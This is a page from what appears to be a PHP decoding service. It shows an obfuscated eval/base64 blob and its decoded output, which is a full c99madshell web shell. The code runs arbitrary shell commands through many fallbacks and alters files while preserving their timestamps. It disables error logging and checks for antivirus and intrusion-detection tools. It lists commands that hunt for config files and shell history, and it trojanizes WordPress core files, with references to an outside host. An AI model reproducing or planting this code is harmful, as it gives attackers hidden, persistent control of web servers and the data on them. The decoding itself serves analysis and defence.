Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('HZzHkoTKkkQ/591rLAotbGwWaK01m7Gi0Fqrrx/69bqKTjIi3I93Q+bHt/un..

Decoded Output download

?><?php

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
//@ignore_user_abort(TRUE);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);


$login = ""; //Login
$pass = "";  //Pass
$md5_pass = ""; //If no pass then hash
$allow_ext		= array('mysql','mysqli','ftp','curl','imap','sockets','mssql','sqlite');
$allow_program	= array('gcc','cc','ld','php','perl','python','ruby','make','tar','nc','locate','suidperl','wget','get','fetch','links','lynx','curl','lwp-mirror','lwp-download');
$allow_service	= array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','tripwire','sxid','logcheck','logwatch');
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
 global $gzipencode,$ft;
  $v = @ob_get_contents();
  @ob_end_clean();
  @ob_start("ob_gzHandler");
  echo $v;
  @ob_end_flush();
}

function which($which) {
	$locate = myshellexec('which '.$which);
	if($locate) { 
		return $locate;
	} else { 
		return false;
	}
}

function save_file($file, $content) {
	global $win;
	if(!file_exists($file)) {
		return false;
	}
	clearstatcache();
	$filetime = filemtime($file);
	if(!is_writable($file)) {
		$fileperm = substr(decoct(fileperms($file)), -4, 4);
		@chmod($file, intval(0777,8));
		if(!is_writable($file)) {
			return false;
		}
	}
	$handle = @fopen($file, 'w');
	if($handle === FALSE) {
		return false;
	}
	fwrite($handle, $content);
	fclose($handle);
	@touch($file, $filetime, $filetime);
	if(isset($fileperm) && !empty($fileperm)) {
		@chmod($file, intval($fileperm,8));
	}
	clearstatcache();
	return true;
}
function c99shexit() {
	onphpshutdown();
	exit;
}
function RecursFile($dir) {
	$files = array();
	if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
		$dir .= DIRECTORY_SEPARATOR;
	}
	if(!file_exists($dir)) {
		return false;
	}
	clearstatcache(); //  
	$realpath = getcwd(); //   
	$handle = @opendir($dir);
	if(FALSE === $handle) {
		return false;
	}
	chdir($dir);
	while(FALSE !== ($file = readdir($handle))) {
		if('.' != $file && '..' != $file ) {
			if(is_dir($file)) {
				$recurs = RecursFile($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
				if(is_array($recurs)) {
					$files = array_merge($files, $recurs);
				}
			} elseif(is_file($file)) {
				$files[] = str_replace(array('\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file);
			}
		}
	}
	closedir($handle);
	chdir($realpath); //  
	clearstatcache(); //  
	//sort($files);
	return $files;
}

/**
*       .
*
*/
function RecursDir($dir) {
	$dirs = array();

	if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
		$dir .= DIRECTORY_SEPARATOR;
	}
	if(!file_exists($dir)) {
		return false;
	}
	clearstatcache(); //  
	$realpath = getcwd(); //   
	$handle = @opendir($dir);
	if(FALSE === $handle) {
		return false;
	}
	chdir($dir);
	$dirs[] = str_replace(array('\', '//'), DIRECTORY_SEPARATOR, $dir);
	while(FALSE !== ($file = readdir($handle))) {
		if('.' != $file && '..' != $file ) {
			if(is_dir($file)) {
				$dirs[] = str_replace(array('\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
				$recurs = RecursDir($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
				if(is_array($recurs)) {
					$dirs = array_merge($dirs, $recurs);
				}
			}
		}
	}
	closedir($handle);
	chdir($realpath); //  
	clearstatcache(); //  
	$dirs = array_unique($dirs);
	return $dirs;
}

function setRecursPerm($dir, $perm) {
	$good = 0;
	$bad = 0;
	$all = array_merge(RecursFile($dir), RecursDir($dir));
	foreach($all as $file) {
		if(@chmod($file, $perm)) {
			$good++;
		} else {
			$bad++;
		}
	}
	return $good.':'.$bad;
}

$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "3.0 BLOG edition";
if (empty($surl)){
	$surl = $_SERVER['PHP_SELF'];
}
$surl = htmlspecialchars($surl);

$timelimit = 0;
$login_txt = "Admin area";
$accessdeniedmess = "<a href=\"http://securityprobe.net\">c99madkibshell v.".$shver."</a>: access denied";
$filestealth = TRUE;
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";

$sort_default = "0a";
$sort_save = TRUE;


$safemode_diskettes = array('a');
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;

if (!$win) {
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
} else {
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$quicklaunch = array(
 array("<b><hr>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
 array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"),
 array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),
);

$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  c99shexit($accessdeniedmess);
 }
}

if (isset($_POST['act'])) $act  = $_POST['act'];
if (isset($_POST['d'])) $d    = urldecode($_POST['d']); else $d=getcwd();
if (isset($_POST['sort'])) $sort = $_POST['sort'];
if (isset($_POST['f'])) $f    = urldecode($_POST['f']);
if (isset($_POST['ft'])) $ft   = $_POST['ft'];
if (isset($_POST['grep'])) $grep = $_POST['grep'];
if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
if (isset($_POST['pid'])) $pid  = $_POST['pid'];
if (isset($_POST['sig'])) $sig  = $_POST['sig'];
if (isset($_POST['base64'])) $base64  = $_POST['base64'];
if (isset($_POST['fullhexdump'])) $fullhexdump  = $_POST['fullhexdump'];
if (isset($_POST['c'])) $c  = $_POST['c'];
if (isset($_POST['white'])) $white  = $_POST['white'];
if (isset($_POST['nixpasswd'])) $nixpasswd  = $_POST['nixpasswd'];

$lastdir = @realpath(".");
@chdir($curdir);


$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
} else {
	$disablefunc = array();
}

function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}

function listdir($start_dir='.') {
  $files = array();
  if (is_dir($start_dir)) {
    $fh = opendir($start_dir);
    while (($file = readdir($fh)) !== false) {
      # loop through the files, skipping . and .., and recursing if necessary
      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
      $filepath = $start_dir . '/' . $file;
      if ( is_dir($filepath) )
        $files = array_merge($files, listdir($filepath));
      else
        array_push($files, $filepath);
    }
    closedir($fh);
  } else {
    # false if the function was called with an invalid non-directory argument
    $files = false;
  }
 return $files;
}
function view_size($size)
{
 if (!is_numeric($size)) {return FALSE;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}

function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}

function fs_rmobj($o)
{
 $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return FALSE;}
}



function myshellexec($cfe)
{
 $res = '';
 if (!empty($cfe))
 {
  if(@function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("
",$res);
   }
  elseif(@function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(@function_exists('system'))
   {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   if(@function_exists('fread') && @function_exists('feof')){
    while(!@feof($f)) { $res .= @fread($f,1024); }
   }else if(@function_exists('fgets') && @function_exists('feof')){
    while(!@feof($f)) { $res .= @fgets($f,1024); }
   }
   @pclose($f);
  }
  elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  {
   $res = "";
   if(@function_exists('fread') && @function_exists('feof')){
    while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
   }else if(@function_exists('fgets') && @function_exists('feof')){
    while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
   }
   @proc_close($f);
  }
  elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
   {
    $res = '[~] Blind Command Execution via [pcntl_exec]

';
    $pid = @pcntl_fork();
    if ($pid == -1) {
     $res .= '[-] Could not children fork. c99shexit';
    } else if ($pid) {
         if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
         else {$res .= '[-] Error. Command incorrect.';}
    } else {
         $cfe = array(" -e 'system(\"$cfe\")'");
         if(@pcntl_exec('/usr/bin/perl',$cfe)) c99shexit(0);
         if(@pcntl_exec('/usr/local/bin/perl',$cfe)) c99shexit(0);
         die();
    }
   }
 }
 return $res;
}


function tabsort($a,$b) 
{
	global $v; 
	return strnatcmp($a[$v], $b[$v]);
}

function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["execute"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["execute"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["execute"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}

if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}

function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}

function view_perms_color($o)
{
 if (!@is_readable($o)) {return "<font color=red>".view_perms(@fileperms($o))."</font>";}
 elseif (!@is_writable($o)) {return "<font color=white>".view_perms(@fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(@fileperms($o))."</font>";}
}



function c99fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== FALSE)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {c99fsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
if(!isset($act)) {$act='';}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
 $tmpdir = ini_get("upload_tmp_dir");
 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = TRUE;
 $hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = @htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'',getenv("SERVER_SOFTWARE"));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!isset($actbox) || !is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99madshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='wp_act' type='hidden' value=''><input name='wp_path' type='hidden' value='<?php if(isset($wp_path)) echo($wp_path);?>'><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99madShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr>
<tr><td>
<p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p>
<p align="left"><b>System:&nbsp;<?php echo substr(php_uname(),0,90); ?></b>&nbsp;</p>
<?php 
if(!$win && function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
	echo('<p align="left"><b>User/Group:&nbsp;');
	$groupinfo = posix_getgrgid(posix_getegid());
	echo(get_current_user().'/'.$groupinfo['name']); 
	echo('</b>&nbsp;</p>');
}
?>
<p align="left"><b>Php version: <a href="#" onclick="document.todo.act.value='phpinfo';document.todo.submit();"><b><u><?php echo(phpversion()) ?></u></b></a>
<p align="left"><b>Php modules:&nbsp;
<?php
$cur_ext = get_loaded_extensions();
echo('<font title="'.implode(',', $cur_ext).'">');
$intersect = array_intersect($allow_ext, $cur_ext);
echo(implode(', ', $intersect));
?>
</font></b>&nbsp;</p>
<?php
if($disablefunc) {
	echo('<p align="left" style="color:red"><b>Disable functions:&nbsp;'.implode(', ', $disablefunc).'</b></p>');
}

if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {
	echo('<p align="left" style="color:red"><b>Mod Security:&nbsp;YES</b></p>');
}
if(!$win && $safemode === FALSE) {
	$pro = array();
	$ser = array();
	foreach($allow_program as $program) {
		if($locate = which($program)) {
			$pro[] = '<font title="'.$locate.'">'.$program.'</font>';
		}
	}
	foreach($allow_service as $service) {
		if($locate = which($service)) {
			$ser[] = '<font title="'.$locate.'">'.$service.'</font>';
		}
	}
	if($pro) {
		echo('<p align="left"><b>Install program:&nbsp;<font color="#00CCFF">'.implode(', ', $pro).'</font></b></p>');

	}
	if($ser) {
		echo('<p align="left"><b>Install service:&nbsp;'.implode(', ', $ser).'</b></p>');
	}
}
?>
<p align="left"><b>Allow_url_fopen:&nbsp;<?php echo((@ini_get('allow_url_fopen'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
<p align="left"><b>Allow_url_include:&nbsp;<?php echo((@ini_get('allow_url_include'))==1?'<font color="green">ON</font>':'<font color="red">OFF</font>'); ?></b></p>
<p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p>
<?php
if(isset($wp_path)) {
	if(valid_wp_path($wp_path)) {
		draw_patch();
		draw_trojan();
	} else {
		unset($wp_path);
	}
}
if(!isset($wp_path)) {
	$wp_path = found_wp();
	if(valid_wp_path($wp_path)) {
		draw_patch();
		draw_trojan();
	} else {
		unset($wp_path);
	}
}
if(!isset($wp_path)) {
	echo('<p><font color=red>Wordpress Not Found! ');
	echo('<input type=text id="wp_pat"><input type="submit" value="SET PATH" onclick="document.todo.act.value=\'ls\';document.todo.wp_path.value=document.getElementById(\'wp_pat\').value;document.todo.submit();"></p>');

}
function draw_trojan() {
	echo('<p><font color=green>Trojan: </font>
	<input type="submit" id="index" value="index" style="font-size: 6pt;'.get_style('index').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'index\';document.todo.submit();"/>
	<input type="submit" id="wp-blog-header" value="wp-blog-header" style="font-size: 6pt;'.get_style('wp-blog-header').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-blog-header\';document.todo.submit();"/>
	<input type="submit" id="wp-config" value="wp-config" style="font-size: 6pt;'.get_style('wp-config').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-config\';document.todo.submit();"/>
	<input type="submit" id="wp-settings" value="wp-settings" style="font-size: 6pt;'.get_style('wp-settings').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-settings\';document.todo.submit();"/>
	<input type="submit" id="template-loader" value="template-loader" style="font-size: 6pt;'.get_style('template-loader').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template-loader\';document.todo.submit();"/>
	<input type="submit" id="template" value="template" style="font-size: 6pt;'.get_style('template').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template\';document.todo.submit();"/></p>');
}
function draw_patch() {
	echo('<p><font color=green>Patch: </font>
	<input type="submit" id="xmlrpc1" value="xmlrpc1" style="font-size: 6pt;'.get_style('xmlrpc1').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc1\';document.todo.submit();"/>
	<input type="submit" id="xmlrpc2" value="xmlrpc2" style="font-size: 6pt;'.get_style('xmlrpc2').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc2\';document.todo.submit();"/>
	<input type="submit" id="admin_ajax" value="admin_ajax" style="font-size: 6pt;'.get_style('admin_ajax').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'admin_ajax\';document.todo.submit();"/>
	<input type="submit" id="blog_name_sql" value="blog_name_sql" style="font-size: 6pt;'.get_style('blog_name_sql').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'blog_name_sql\';document.todo.submit();"/>
	<input type="submit" id="tb_id" value="tb_id" style="font-size: 6pt;'.get_style('tb_id').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'tb_id\';document.todo.submit();"/></p>');
}
function found_wp() {
	$path = @getcwd();
	if($path === false) {
		return false;
	}
	if(valid_wp_path($path)) {
		return $path;
	}
	if(preg_match('%(wp-(\w+)$)%i', $path, $ret)) {
		$path = substr($path, 0, strpos($path, $ret[0]));
		return $path;
	}
	if(preg_match('%(blog|wp|wordpress|blogs)%i', $path, $ret)) {
		$path = substr($path, 0, strpos($path, $ret[0])+strlen($ret[0])+1);
		return $path;
	}
	return false;
}

function valid_wp_path($path) {
	if($path === false) {
		return false;
	}
	if(file_exists($path.'wp-config.php')) {
		return true;
	} else {
		return false;
	}
}

function get_style($vuln) {
	global $wp_path;
	switch($vuln) {
		case 'xmlrpc1':
		case 'xmlrpc2':			$file = $wp_path.'xmlrpc.php'; break;
		case 'admin_ajax':		$file = file_exists($wp_path.'wp-includes/pluggable.php')?$wp_path.'wp-includes/pluggable.php':$wp_path.'wp-includes/pluggable-functions.php'; break;
		case 'blog_name_sql':	$file = $wp_path.'wp-trackback.php'; break;
		case 'tb_id':			$file = $wp_path.'wp-trackback.php'; break;


		case 'index':			$file = $wp_path.'index.php'; break;
		case 'wp-blog-header':	$file = $wp_path.'wp-blog-header.php'; break;
		case 'wp-config':		$file = $wp_path.'wp-config.php'; break;
		case 'wp-settings':		$file = $wp_path.'wp-settings.php'; break;
		case 'template-loader':	$file = $wp_path.'wp-includes/template-loader.php'; break;
		case 'template':		$file = $wp_path.'wp-trackback.ph'; break;
		default: return false;
	}
	if(!is_writable($file) && is_patching($vuln, $file)) {
		$style = 'background-color: yellow; color: black" disabled';
	} elseif(is_writable($file) && is_patching($vuln, $file)) {
		$style = 'background-color: yellow; color: black" disabled';
	} elseif(is_writable($file) && !is_patching($vuln, $file)) {
		$style = 'background-color: green; color: white"';
	} else {
		$style = 'background-color: #800000; color: #FFFFFF" disabled';
	}
	return $style;
}


function is_patching($vuln, $file) {
	if($vuln == 'index' || $vuln == 'wp-blog-header' || $vuln == 'wp-config' || $vuln == 'wp-settings' || $vuln == 'template-loader' || $vuln == 'template') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, 'km20725.keymachine.de') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'xmlrpc1') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '//\'pingback.ping\' => \'this:pingback_ping\',') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'xmlrpc2') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'admin_ajax') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '$user_login = $wpdb->escape($user_login);') !== FALSE) {
			return true;
		} else {
			return false;
		}
